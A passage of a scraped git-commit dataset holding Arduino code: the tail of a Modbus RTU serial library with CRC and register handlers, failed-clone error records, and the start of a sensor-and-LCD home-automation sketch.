\/\/ serial port: 0-Serial, 1..3-Serial1..Serial3\n uint8_t u8txenpin; \/\/ 0=USB or RS-232 mode, >0=RS-485 mode\n uint8_t u8state;\n uint8_t au8Buffer[MAX_BUFFER];\n uint8_t u8BufferSize;\n uint8_t u8lastRec;\n uint16_t *au16regs;\n uint16_t u16InCnt, u16OutCnt, u16errCnt;\n uint16_t u16timeOut;\n uint32_t u32time, u32timeOut;\n uint8_t u8regsize;\n\n void init(uint8_t u8id, uint8_t u8serno, uint8_t u8txenpin);\n void sendTxBuffer(); \/\/ transmit buffer to serial port\n int8_t getRxBuffer(); \/\/ get serial buffer contents\n uint16_t calcCRC(uint8_t u8length); \/\/ get CRC from au8Buffer until u8length\n uint8_t validateAnswer();\n uint8_t validateRequest(); \/\/ validate master request\n void get_FC1(); \/\/ *** only master ***\n void get_FC3(); \/\/ *** only master ***\n int8_t process_FC1( uint16_t *regs, uint8_t u8size ); \/\/ *** only slave ***\n int8_t process_FC3( uint16_t *regs, uint8_t u8size ); \/\/ *** only slave ***\n int8_t process_FC5( uint16_t *regs, uint8_t u8size ); \/\/ *** only slave ***\n int8_t process_FC6( uint16_t *regs, uint8_t u8size ); \/\/ *** only slave ***\n int8_t process_FC15( uint16_t *regs, uint8_t u8size ); \/\/ *** only slave ***\n int8_t process_FC16( uint16_t *regs, uint8_t u8size ); \/\/ *** only slave ***\n void buildException( uint8_t u8exception ); \/\/ build exception message\n\npublic:\n Modbus();\n Modbus(uint8_t u8id, uint8_t u8serno);\n Modbus(uint8_t u8id, uint8_t u8serno, uint8_t u8txenpin);\n void begin(long u32speed);\n void begin();\n void setTimeOut( uint16_t u16timeout); \/\/ only for master\n uint16_t getTimeOut(); \/\/ only for master \n int8_t query( modbus_t telegram ); \/\/ only for master\n int8_t poll(); \/\/ cyclic poll for master\n int8_t poll( uint16_t *regs, uint8_t u8size ); \/\/ cyclic poll for slave\n uint16_t getInCnt(); \/\/ number of incoming messages\n uint16_t getOutCnt(); \/\/ number of outcoming messages\n uint16_t getErrCnt(); \/\/ error counter\n uint8_t getID();\n uint8_t getState();\n};\n\n\/* _____PUBLIC FUNCTIONS_____________________________________________________ *\/\n\/**\n * Constructor\n * \n * @ingroup setup\n *\/\nModbus::Modbus() {\n init(0, 0, 0);\n}\n\n\/**\n * Constructor\n * \n * @param u8id node address 0=master, 1..247=slave\n * @param u8serno serial port used 0..3\n * @ingroup setup\n *\/\nModbus::Modbus(uint8_t u8id, uint8_t u8serno) {\n init(u8id, u8serno, 0);\n}\n\n\/**\n * Constructor\n * \n * @param u8id node address 0=master, 1..247=slave\n * @param u8serno serial port used 0..3\n * @param u8txenpin pin for txen RS-485\n * @ingroup setup\n *\/\nModbus::Modbus(uint8_t u8id, uint8_t u8serno, uint8_t u8txenpin) {\n init(u8id, u8serno, u8txenpin);\n}\n\n\/**\n * Initialize class object.\n * \n * Sets up the serial port using specified baud rate.\n * Call once class has been instantiated, typically within setup().\n * \n * @param speed baud rate, in standard increments (300..115200)\n * \n * @param config parity and word length\n * @ingroup setup\n *\/\nvoid Modbus::begin(long u32speed) {\n\n switch( u8serno ) {\n#if defined(UBRR1H)\n case 1:\n port = Serial1;\n break;\n#endif\n\n#if defined(UBRR2H)\n case 2:\n port = Serial2;\n break;\n#endif\n\n#if defined(UBRR3H)\n case 3:\n port = Serial3;\n break;\n#endif\n case 0:\n default:\n port = Serial;\n break;\n }\n\n \/\/ port.begin(u32speed, u8config);\n port.begin(u32speed);\n if (u8txenpin > 1) { \/\/ pin 0 & pin 1 are reserved for RX\/TX\n \/\/ return RS485 transceiver to transmit mode\n pinMode(u8txenpin, OUTPUT);\n digitalWrite(u8txenpin, LOW);\n }\n\n port.flush();\n u8lastRec = u8BufferSize = 0;\n u16InCnt = u16OutCnt = u16errCnt = 0;\n}\n\n\/**\n * Initialize class object.\n * \n * Sets up the serial port using 19200 baud.\n * Call once class has been instantiated, typically within setup().\n * \n * @overload ModbusMaster::begin(uint16_t u16BaudRate)\n * @ingroup setup\n *\/\nvoid Modbus::begin() {\n begin(19200);\n}\n\n\/**\n * Initialize time-out parameter\n * \n * Call once class has been instantiated, typically within setup().\n * \n * @param time-out value (ms)\n * @ingroup setup\n *\/\nvoid Modbus::setTimeOut( uint16_t u16timeOut) {\n this->u16timeOut = u16timeOut;\n}\n\n\/**\n * Get input messages counter value\n * \n * @returns input messages counter\n * @ingroup buffer\n *\/\nuint16_t Modbus::getInCnt() { \n return u16InCnt; \n}\n\n\/**\n * Get transmitted messages counter value\n * \n * @returns transmitted messages counter\n * @ingroup buffer\n *\/\nuint16_t Modbus::getOutCnt() { \n return u16OutCnt; \n}\n\n\/**\n * Get errors counter value\n * \n * @returns errors counter\n * @ingroup buffer\n *\/\nuint16_t Modbus::getErrCnt() { \n return u16errCnt; \n}\n\n\/**\n * Get modbus master state\n * \n * @returns = 0 IDLE, = 1 WAITING FOR ANSWER\n * @ingroup buffer\n *\/\nuint8_t Modbus::getState() {\n return u8state;\n}\n\n\/**\n * Only Modbus Master\n * Query to an slave with a modbus telegram structure\n * The Master must be in COM_IDLE mode. After it, its state would be COM_WAITING\n * \n * @param modbus_t modbus telegram structure (id, fct, ...)\n * @ingroup buffer\n *\/\nint8_t Modbus::query( modbus_t telegram ) {\n uint8_t u8regsno, u8bytesno;\n if (u8id!=0) return -2;\n if (u8state != COM_IDLE) return -1;\n\n if ((telegram.u8id==0) || (telegram.u8id>247)) return -3;\n\n au16regs = telegram.au16reg;\n\n \/\/ telegram header\n au8Buffer[ ID ] = telegram.u8id;\n au8Buffer[ FUNC ] = telegram.u8fct;\n au8Buffer[ ADD_HI ] = highByte(telegram.u16RegAdd );\n au8Buffer[ ADD_LO ] = lowByte( telegram.u16RegAdd );\n\n switch( telegram.u8fct ) {\n case MB_FC_READ_COILS:\n case MB_FC_READ_DISCRETE_INPUT:\n case MB_FC_READ_REGISTERS:\n case MB_FC_READ_INPUT_REGISTER:\n au8Buffer[ NB_HI ] = highByte(telegram.u16CoilsNo );\n au8Buffer[ NB_LO ] = lowByte( telegram.u16CoilsNo );\n u8BufferSize = 6;\n break;\n case MB_FC_WRITE_COIL:\n au8Buffer[ NB_HI ] = ((au16regs[0] > 0) ? 0xff : 0);\n au8Buffer[ NB_LO ] = 0;\n u8BufferSize = 6; \n break;\n case MB_FC_WRITE_REGISTER:\n au8Buffer[ NB_HI ] = highByte(au16regs[0]);\n au8Buffer[ NB_LO ] = lowByte(au16regs[0]);\n u8BufferSize = 6; \n break;\n case MB_FC_WRITE_MULTIPLE_COILS:\n u8regsno = telegram.u16CoilsNo \/ 16;\n u8bytesno = u8regsno * 2;\n if ((telegram.u16CoilsNo % 16) != 0) {\n u8bytesno++;\n u8regsno++;\n }\n\n au8Buffer[ NB_HI ] = highByte(telegram.u16CoilsNo );\n au8Buffer[ NB_LO ] = lowByte( telegram.u16CoilsNo );\n au8Buffer[ NB_LO+1 ] = u8bytesno;\n u8BufferSize = 7;\n\n u8regsno = u8bytesno = 0; \/\/ now auxiliary registers\n for (uint16_t i = 0; i < telegram.u16CoilsNo; i++) {\n\n\n }\n break;\n\n case MB_FC_WRITE_MULTIPLE_REGISTERS:\n au8Buffer[ NB_HI ] = highByte(telegram.u16CoilsNo );\n au8Buffer[ NB_LO ] = lowByte( telegram.u16CoilsNo );\n au8Buffer[ NB_LO+1 ] = (uint8_t) ( telegram.u16CoilsNo * 2 );\n u8BufferSize = 7; \n\n for (uint16_t i=0; i< telegram.u16CoilsNo; i++) {\n au8Buffer[ u8BufferSize ] = highByte( au16regs[ i ] );\n u8BufferSize++;\n au8Buffer[ u8BufferSize ] = lowByte( au16regs[ i ] );\n u8BufferSize++;\n }\n break;\n }\n\n sendTxBuffer();\n u8state = COM_WAITING;\n return 0;\n}\n\n\/**\n * *** Only for Modbus Master ***\n * This method checks if there is any incoming answer if pending\n * If there is no answer, it would change Master state to COM_IDLE\n * This method must be called only at loop section\n * Avoid any delay() function \n * \n * @returns errors counter\n * @ingroup buffer\n *\/\nint8_t Modbus::poll() {\n \/\/ check if there is any incoming frame\n uint8_t u8current = port.available(); \n\n if (millis() > u32timeOut) {\n u8state = COM_IDLE;\n u16errCnt++;\n return 0;\n }\n\n if (u8current == 0) return 0;\n\n \/\/ check T35 after frame end or still no frame end\n if (u8current != u8lastRec) {\n u8lastRec = u8current;\n u32time = millis() + T35;\n return 0;\n }\n if (millis() < u32time) return 0;\n\n \/\/ transfer Serial buffer frame to auBuffer\n u8lastRec = 0;\n int8_t i8state = getRxBuffer();\n if (i8state < 7) {\n u8state = COM_IDLE;\n u16errCnt++;\n return i8state;\n }\n\n \/\/ validate message: id, CRC, FCT, exception\n uint8_t u8exception = validateAnswer(); \n if (u8exception != 0) {\n u8state = COM_IDLE;\n return u8exception;\n }\n\n \/\/ process answer\n switch( au8Buffer[ FUNC ] ) {\n case MB_FC_READ_COILS:\n case MB_FC_READ_DISCRETE_INPUT:\n get_FC1( );\n break;\n case MB_FC_READ_INPUT_REGISTER:\n case MB_FC_READ_REGISTERS :\n get_FC3( );\n break;\n case MB_FC_WRITE_COIL:\n case MB_FC_WRITE_REGISTER :\n case MB_FC_WRITE_MULTIPLE_COILS:\n case MB_FC_WRITE_MULTIPLE_REGISTERS :\n break;\n default:\n break;\n } \n u8state = COM_IDLE;\n return u8BufferSize;\n}\n\n\/**\n * Only for Modbus Slave\n * This method checks if there is any incoming query\n * Afterwards, it would shoot a validation routine plus a register query\n * Avoid any delay() function \n * \n * @param *regs register table for communication exchange\n * @param u8size size of the register table\n * @returns 0 if no query, 1..4 if communication error, >4 if correct query processed\n * @ingroup buffer\n *\/\nint8_t Modbus::poll( uint16_t *regs, uint8_t u8size ) {\n\n au16regs = regs;\n u8regsize = u8size;\n\n \/\/ check if there is any incoming frame\n uint8_t u8current = port.available(); \n if (u8current == 0) return 0;\n\n \/\/ check T35 after frame end or still no frame end\n if (u8current != u8lastRec) {\n u8lastRec = u8current;\n u32time = millis() + T35;\n return 0;\n }\n if (millis() < u32time) return 0;\n\n u8lastRec = 0;\n int8_t i8state = getRxBuffer();\n if (i8state < 7) return i8state; \n\n \/\/ check slave id\n if (au8Buffer[ ID ] != u8id) return 0;\n\n \/\/ validate message: CRC, FCT, address and size\n uint8_t u8exception = validateRequest();\n if (u8exception > 0) {\n if (u8exception != NO_REPLY) {\n buildException( u8exception );\n sendTxBuffer(); \n }\n return u8exception;\n }\n\n \/\/ process message\n switch( au8Buffer[ FUNC ] ) {\n case MB_FC_READ_COILS:\n case MB_FC_READ_DISCRETE_INPUT:\n return process_FC1( regs, u8size );\n break;\n case MB_FC_READ_INPUT_REGISTER:\n case MB_FC_READ_REGISTERS :\n return process_FC3( regs, u8size );\n break;\n case MB_FC_WRITE_COIL:\n return process_FC5( regs, u8size );\n break;\n case MB_FC_WRITE_REGISTER :\n return process_FC6( regs, u8size );\n break;\n case MB_FC_WRITE_MULTIPLE_COILS:\n return process_FC15( regs, u8size );\n break;\n case MB_FC_WRITE_MULTIPLE_REGISTERS :\n return process_FC16( regs, u8size );\n break;\n default:\n break;\n }\n}\n\n\/* _____PRIVATE FUNCTIONS_____________________________________________________ *\/\n\nvoid Modbus::init(uint8_t u8id, uint8_t u8serno, uint8_t u8txenpin) {\n this->u8id = u8id;\n this->u8serno = (u8serno > 3) ? 0 : u8serno;\n this->u8txenpin = u8txenpin;\n this->u16timeOut = 1000;\n}\n\n\/**\n * This method moves Serial buffer data to the Modbus au8Buffer.\n *\n * @returns buffer size if OK, ERR_BUFF_OVERFLOW if u8BufferSize >= MAX_BUFFER\n * @ingroup buffer\n *\/\nint8_t Modbus::getRxBuffer() {\n boolean bBuffOverflow = false;\n\n if (u8txenpin > 1) digitalWrite( u8txenpin, LOW );\n\n u8BufferSize = 0;\n while ( port.available() ) {\n au8Buffer[ u8BufferSize ] = port.read();\n u8BufferSize ++;\n\n if (u8BufferSize >= MAX_BUFFER) bBuffOverflow = true;\n }\n u16InCnt++;\n\n if (bBuffOverflow) {\n u16errCnt++;\n return ERR_BUFF_OVERFLOW;\n }\n return u8BufferSize;\n}\n\n\/**\n * This method transmits au8Buffer to Serial line\n *\n * @ingroup buffer\n *\/\nvoid Modbus::sendTxBuffer() {\n uint8_t i = 0;\n\n \/\/ append CRC to message\n uint16_t u16crc = calcCRC( u8BufferSize );\n au8Buffer[ u8BufferSize ] = u16crc >> 8;\n u8BufferSize++;\n au8Buffer[ u8BufferSize ] = u16crc & 0x00ff;\n u8BufferSize++;\n\n \/\/ set RS485 transceiver to transmit mode\n if (u8txenpin > 1) {\n switch( u8serno ) {\n#if defined(UBRR1H)\n case 1:\n UCSR1A=UCSR1A |(1 << TXC1);\n break;\n#endif\n\n#if defined(UBRR2H)\n case 2:\n UCSR2A=UCSR2A |(1 << TXC2);\n break;\n#endif\n\n#if defined(UBRR3H)\n case 3:\n UCSR3A=UCSR3A |(1 << TXC3);\n break;\n#endif\n case 0:\n default:\n UCSR0A=UCSR0A |(1 << TXC0);\n break;\n }\n digitalWrite( u8txenpin, HIGH );\n }\n\n \/\/ transfer buffer to serial line\n port.write( au8Buffer, u8BufferSize );\n\n \/\/ keep RS485 transceiver in transmit mode as long as sending\n if (u8txenpin > 1) {\n switch( u8serno ) {\n#if defined(UBRR1H)\n case 1:\n while (!(UCSR1A & (1 << TXC1)));\n break;\n#endif\n\n#if defined(UBRR2H)\n case 2:\n while (!(UCSR2A & (1 << TXC2)));\n break;\n#endif\n\n#if defined(UBRR3H)\n case 3:\n while (!(UCSR3A & (1 << TXC3)));\n break;\n#endif\n case 0:\n default:\n while (!(UCSR0A & (1 << TXC0)));\n break;\n }\n\n \/\/ return RS485 transceiver to receive mode\n digitalWrite( u8txenpin, LOW );\n }\n port.flush();\n u8BufferSize = 0;\n\n \/\/ set time-out for master\n u32timeOut = millis() + (unsigned long) u16timeOut;\n\n \/\/ increase message counter\n u16OutCnt++;\n}\n\n\/**\n * This method calculates CRC\n *\n * @return uint16_t calculated CRC value for the message\n * @ingroup buffer\n *\/\nuint16_t Modbus::calcCRC(uint8_t u8length) {\n unsigned int temp, temp2, flag;\n temp = 0xFFFF;\n for (unsigned char i = 0; i < u8length; i++) {\n temp = temp ^ au8Buffer[i];\n for (unsigned char j = 1; j <= 8; j++) {\n flag = temp & 0x0001;\n temp >>=1;\n if (flag)\n temp ^= 0xA001;\n }\n }\n \/\/ Reverse byte order. \n temp2 = temp >> 8;\n temp = (temp << 8) | temp2;\n temp &= 0xFFFF; \n \/\/ the returned value is already swapped\n \/\/ crcLo byte is first & crcHi byte is last\n return temp; \n}\n\n\/**\n * This method validates slave incoming messages\n *\n * @return 0 if OK, EXCEPTION if anything fails\n * @ingroup buffer\n *\/\nuint8_t Modbus::validateRequest() {\n \/\/ check message crc vs calculated crc\n uint16_t u16MsgCRC = \n ((au8Buffer[u8BufferSize - 2] << 8) \n | au8Buffer[u8BufferSize - 1]); \/\/ combine the crc Low & High bytes\n if ( calcCRC( u8BufferSize-2 ) != u16MsgCRC ) {\n u16errCnt ++;\n return NO_REPLY;\n }\n\n \/\/ check fct code\n boolean isSupported = false;\n for (uint8_t i = 0; i< sizeof( fctsupported ); i++) {\n if (fctsupported[i] == au8Buffer[FUNC]) {\n isSupported = 1;\n break;\n }\n }\n if (!isSupported) {\n u16errCnt ++;\n return EXC_FUNC_CODE;\n }\n\n \/\/ check start address & nb range\n uint16_t u16regs = 0;\n uint8_t u8regs;\n switch ( au8Buffer[ FUNC ] ) {\n case MB_FC_READ_COILS:\n case MB_FC_READ_DISCRETE_INPUT:\n case MB_FC_WRITE_MULTIPLE_COILS:\n u16regs = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ]) \/ 16;\n u16regs += word( au8Buffer[ NB_HI ], au8Buffer[ NB_LO ]) \/16;\n u8regs = (uint8_t) u16regs;\n if (u8regs >= u8regsize) return EXC_ADDR_RANGE;\n break;\n case MB_FC_WRITE_COIL:\n u16regs = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ]) \/ 16;\n u8regs = (uint8_t) u16regs;\n if (u8regs >= u8regsize) return EXC_ADDR_RANGE;\n break; \n case MB_FC_WRITE_REGISTER :\n u16regs = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ]);\n u8regs = (uint8_t) u16regs;\n if (u8regs >= u8regsize) return EXC_ADDR_RANGE;\n break;\n case MB_FC_READ_REGISTERS :\n case MB_FC_READ_INPUT_REGISTER :\n case MB_FC_WRITE_MULTIPLE_REGISTERS :\n u16regs = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ]);\n u16regs += word( au8Buffer[ NB_HI ], au8Buffer[ NB_LO ]);\n u8regs = (uint8_t) u16regs;\n if (u8regs >= u8regsize) return EXC_ADDR_RANGE; \n break;\n }\n return 0; \/\/ OK, no exception code thrown\n}\n\n\/**\n * This method validates master incoming messages\n *\n * @return 0 if OK, EXCEPTION if anything fails\n * @ingroup buffer\n *\/\nuint8_t Modbus::validateAnswer() {\n \/\/ check message crc vs calculated crc\n uint16_t u16MsgCRC = \n ((au8Buffer[u8BufferSize - 2] << 8) \n | au8Buffer[u8BufferSize - 1]); \/\/ combine the crc Low & High bytes\n if ( calcCRC( u8BufferSize-2 ) != u16MsgCRC ) {\n u16errCnt ++;\n return NO_REPLY;\n }\n\n \/\/ check exception\n if ((au8Buffer[ FUNC ] & 0x80) != 0) {\n u16errCnt ++;\n return ERR_EXCEPTION;\n }\n\n \/\/ check fct code\n boolean isSupported = false;\n for (uint8_t i = 0; i< sizeof( fctsupported ); i++) {\n if (fctsupported[i] == au8Buffer[FUNC]) {\n isSupported = 1;\n break;\n }\n }\n if (!isSupported) {\n u16errCnt ++;\n return EXC_FUNC_CODE;\n }\n\n return 0; \/\/ OK, no exception code thrown\n}\n\n\/**\n * This method builds an exception message\n *\n * @ingroup buffer\n *\/\nvoid Modbus::buildException( uint8_t u8exception ) {\n uint8_t u8func = au8Buffer[ FUNC ]; \/\/ get the original FUNC code\n\n au8Buffer[ ID ] = u8id;\n au8Buffer[ FUNC ] = u8func + 0x80;\n au8Buffer[ 2 ] = u8exception;\n u8BufferSize = EXCEPTION_SIZE;\n}\n\n\/**\n * This method processes functions 1 & 2 (for master)\n * This method puts the slave answer into master data buffer \n *\n * @ingroup register\n *\/\nvoid Modbus::get_FC1() {\n uint8_t u8byte, i;\n u8byte = 0;\n\n \/\/ for (i=0; i< au8Buffer[ 2 ] \/2; i++) {\n \/\/ au16regs[ i ] = word( \n \/\/ au8Buffer[ u8byte ],\n \/\/ au8Buffer[ u8byte +1 ]);\n \/\/ u8byte += 2;\n \/\/ }\n}\n\n\/**\n * This method processes functions 3 & 4 (for master)\n * This method puts the slave answer into master data buffer \n *\n * @ingroup register\n *\/\nvoid Modbus::get_FC3() {\n uint8_t u8byte, i;\n u8byte = 3;\n\n for (i=0; i< au8Buffer[ 2 ] \/2; i++) {\n au16regs[ i ] = word( \n au8Buffer[ u8byte ],\n au8Buffer[ u8byte +1 ]);\n u8byte += 2;\n }\n}\n\n\/**\n * This method processes functions 1 & 2\n * This method reads a bit array and transfers it to the master\n *\n * @return u8BufferSize Response to master length\n * @ingroup discrete\n *\/\nint8_t Modbus::process_FC1( uint16_t *regs, uint8_t u8size ) {\n uint8_t u8currentRegister, u8currentBit, u8bytesno, u8bitsno;\n uint16_t u16currentCoil, u16coil;\n\n \/\/ get the first and last coil from the message\n uint16_t u16StartCoil = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ] );\n uint16_t u16Coilno = word( au8Buffer[ NB_HI ], au8Buffer[ NB_LO ] );\n\n \/\/ put the number of bytes in the outcoming message\n u8bytesno = (uint8_t) (u16Coilno \/ 8);\n if (u16Coilno % 8 != 0) u8bytesno ++;\n au8Buffer[ ADD_HI ] = u8bytesno;\n u8BufferSize = ADD_LO;\n\n \/\/ read each coil from the register map and put its value inside the outcoming message \n u8bitsno = 0;\n\n for (u16currentCoil = 0; u16currentCoil < u16Coilno; u16currentCoil++) {\n u16coil = u16StartCoil + u16currentCoil;\n u8currentRegister = (uint8_t) (u16coil \/ 16);\n u8currentBit = (uint8_t) (u16coil % 16);\n\n bitWrite( \n au8Buffer[ u8BufferSize ],\n u8bitsno,\n bitRead( regs[ u8currentRegister ], u8currentBit ) );\n u8bitsno ++;\n\n if (u8bitsno > 7) {\n u8bitsno = 0;\n u8BufferSize++;\n }\n } \n\n \/\/ send outcoming message\n if (u16Coilno % 8 != 0) u8BufferSize ++;\n sendTxBuffer();\n return u8BufferSize; \n}\n\n\/**\n * This method processes functions 3 & 4\n * This method reads a word array and transfers it to the master\n *\n * @return u8BufferSize Response to master length\n * @ingroup register\n *\/\nint8_t Modbus::process_FC3( uint16_t *regs, uint8_t u8size ) {\n\n uint8_t u8StartAdd = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ] );\n uint8_t u8regsno = word( au8Buffer[ NB_HI ], au8Buffer[ NB_LO ] );\n uint8_t i;\n\n au8Buffer[ 2 ] = u8regsno*2;\n u8BufferSize = 3;\n\n for (i = u8StartAdd; i< u8StartAdd + u8regsno; i++) {\n au8Buffer[ u8BufferSize ] = highByte(regs[i]);\n u8BufferSize++;\n au8Buffer[ u8BufferSize ] = lowByte(regs[i]);\n u8BufferSize++;\n }\n sendTxBuffer();\n\n return u8BufferSize;\n}\n\n\/**\n * This method processes function 5\n * This method writes a value assigned by the master to a single bit \n *\n * @return u8BufferSize Response to master length\n * @ingroup discrete\n *\/\nint8_t Modbus::process_FC5( uint16_t *regs, uint8_t u8size ) {\n uint8_t u8currentRegister, u8currentBit;\n uint16_t u16coil = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ] );\n\n \/\/ point to the register and its bit\n u8currentRegister = (uint8_t) (u16coil \/ 16);\n u8currentBit = (uint8_t) (u16coil % 16);\n\n \/\/ write to coil\n bitWrite(\n regs[ u8currentRegister ],\n u8currentBit,\n au8Buffer[ NB_HI ] == 0xff );\n\n\n \/\/ send answer to master\n u8BufferSize = 6;\n sendTxBuffer();\n\n return u8BufferSize;\n}\n\n\/**\n * This method processes function 6\n * This method writes a value assigned by the master to a single word \n *\n * @return u8BufferSize Response to master length\n * @ingroup register\n *\/\nint8_t Modbus::process_FC6( uint16_t *regs, uint8_t u8size ) {\n\n uint8_t u8add = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ] );\n uint16_t u16val = word( au8Buffer[ NB_HI ], au8Buffer[ NB_LO ] );\n\n regs[ u8add ] = u16val;\n\n \/\/ keep the same header\n u8BufferSize = RESPONSE_SIZE;\n\n sendTxBuffer();\n return u8BufferSize;\n}\n\n\/**\n * This method processes function 15\n * This method writes a bit array assigned by the master \n *\n * @return u8BufferSize Response to master length\n * @ingroup discrete\n *\/\nint8_t Modbus::process_FC15( uint16_t *regs, uint8_t u8size ) {\n uint8_t u8currentRegister, u8currentBit, u8frameByte, u8bitsno;\n uint16_t u16currentCoil, u16coil;\n boolean bTemp;\n\n \/\/ get the first and last coil from the message\n uint16_t u16StartCoil = word( au8Buffer[ ADD_HI ], au8Buffer[ ADD_LO ] );\n uint16_t u16Coilno = word( au8Buffer[ NB_HI ], au8Buffer[ NB_LO ] );\n\n\n \/\/ read each coil from the register map and put its value inside the outcoming message \n u8bitsno = 0;\n u8frameByte = 7;\n for (u16currentCoil = 0; u16currentCoil < u16Coilno; u16currentCoil++) {\n\n u16coil = u16StartCoil + u16currentCoil;\n u8currentRegister = (uint8_t) (u16coil \/ 16);\n u8currentBit = (uint8_t) (u16coil % 16);\n\n bTemp = bitRead( \n au8Buffer[ u8frameByte ],\n u8bitsno );\n\n bitWrite(\n regs[ u8currentRegister ],\n u8currentBit,\n bTemp );\n\n u8bitsno ++;\n\n if (u8bitsno > 7) {\n u8bitsno = 0;\n u8frameByte++;\n }\n } \n\n \/\/ send outcoming message\n \/\/ it's just a copy of the incomping frame until 6th byte\n u8BufferSize = 6;\n\n sendTxBuffer();\n return u8BufferSize; \n}\n\n\/**\n * This method processes function 16\n * This method writes a word array assigned by the master \n *\n * @return u8BufferSize Response to master length\n * @ingroup register\n *\/\nint8_t Modbus::process_FC16( uint16_t *regs, uint8_t u8size ) {\n uint8_t u8func = au8Buffer[ FUNC ]; \/\/ get the original FUNC code\n uint8_t u8StartAdd = au8Buffer[ ADD_HI ] << 8 | au8Buffer[ ADD_LO ];\n uint8_t u8regsno = au8Buffer[ NB_HI ] << 8 | au8Buffer[ NB_LO ];\n uint8_t i;\n uint16_t temp;\n\n \/\/ build header\n au8Buffer[ NB_HI ] = 0;\n au8Buffer[ NB_LO ] = u8regsno;\n u8BufferSize = RESPONSE_SIZE;\n\n \/\/ write registers\n for (i = 0; i < u8regsno; i++) {\n temp = word( \n au8Buffer[ (BYTE_CNT + 1) + i*2 ], \n au8Buffer[ (BYTE_CNT + 2) + i*2 ]);\n\n regs[ u8StartAdd + i ] = temp;\n }\n sendTxBuffer();\n return u8BufferSize;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modbus.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7b4b0e35b5f361e2d781f2709d98e4725f2f957c","subject":"Regado autom\u00e1tico cada 24 horas","message":"Regado autom\u00e1tico cada 24 horas\n\nPrimera prueba con c\u00f3digo arduino para regado autom\u00e1tico cada 24 horas.","repos":"oranz\/AgroRanz,oranz\/AgroRanz,oranz\/AgroRanz","old_file":"Arduino\/RiegoMacetas\/regado24h.ino","new_file":"Arduino\/RiegoMacetas\/regado24h.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/oranz\/AgroRanz.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"af175bc60d1943c951654a428e763cf35dd9575d","subject":"First tries to read from i2c device","message":"First tries to read from i2c device\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"33b6467fcf35955a61b74b002acbbf1bbe1d9f80","subject":"arduino code pushed","message":"arduino code pushed\n","repos":"Ruwan-Ranganath\/home-automation,Ruwan-Ranganath\/home-automation,Ruwan-Ranganath\/home-automation","old_file":"arduinoUNOrev3.ino","new_file":"arduinoUNOrev3.ino","new_contents":"\/\/ DH11 tempreture and Humidity sensor\n#include <dht.h> \/\/ dht.t library\n\n\/*-----( Import needed libraries )-----*\/\n#include <Wire.h> \/\/ Comes with Arduino IDE\n\/\/ I2C Display for I2C bus and LCD Display\n#include <LiquidCrystal_I2C.h>\n\n\n#define dht_apin A0 \/\/ Analog Pin sensor is connected to\n\n\n\/\/ import for Power Line\nchar blueToothVal ; \/\/value sent over via bluetooth\nchar lastValue = 48;\n\n\/\/ Water Level Sensor\nconst int sensorPin= 1; \/\/sensor pin connected to analog pin A0\nint liquid_level;\n\n\nint sensorLDR = A2; \/\/ select the input pin for ldr\nint sensorValue = 0; \/\/ variable to store the value coming from the sensor\n\ndht DHT;\n\n\n\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); \/\/ Set the LCD I2C address\n\n\n\nvoid setup(){\n\n Serial.begin(9600);\n pinMode(13,OUTPUT);\n pinMode(sensorPin, INPUT);\/\/the liquid level sensor will be an input to the arduino\n delay(6000);\/\/Delay to let system boot\n\n\n\n lcd.begin(16,2); \/\/ initialize the lcd for 16 chars 2 lines, turn on backlight\n\n\/\/ ------- Quick 3 blinks of backlight -------------\n for(int i = 0; i< 3; i++)\n {\n lcd.backlight();\n delay(250);\n lcd.noBacklight();\n delay(250);\n }\n lcd.backlight(); \/\/ finish with backlight on\n\n\n\n\n}\/\/end \"setup()\"\n\nvoid loop(){\n\n\/\/LDR Sensor\n\nsensorValue = analogRead(sensorLDR); \/\/ read the value from the sensor\n\nSerial.println(sensorValue); \/\/prints the values coming from the sensor on the screen\n\n\n\/\/ water level sensor\n liquid_level= analogRead(sensorPin); \/\/arduino reads the value from the liquid level sensor\n\n Serial.println(liquid_level);\/\/prints out liquid level sensor reading\n\n lcd.setCursor(0,1); \/\/Start at character 4 on line 0\n lcd.print(\"Water :\");\n lcd.print((float)liquid_level, 0);\n\n\n\/\/ Water level sensor end\n\n\n\n \/\/Start of Program\n\n DHT.read11(dht_apin);\n\n\n Serial.println(DHT.humidity);\n\n Serial.println(DHT.temperature);\n\n lcd.setCursor(0,0); \/\/Start at character 4 on line 0\n lcd.print(\"Temperaure :\");\n lcd.print((float)DHT.temperature, 0);\n\n\n\n\n \/\/Fastest should be once every two seconds.\n\n\n\nSerial.println (lastValue);\n blueToothVal=Serial.read(); \/\/read it\n\n if (blueToothVal=='n')\n {\/\/if value from bluetooth serial is n\n digitalWrite(13,HIGH); \/\/switch on LED\n if (lastValue!='n')\n Serial.println(lastValue); \/\/print LED is on\n lastValue=blueToothVal;\n }\n else if (blueToothVal=='f')\n {\/\/if value from bluetooth serial is n\n digitalWrite(13,LOW); \/\/turn off LED\n if (lastValue!='f')\n Serial.println(lastValue); 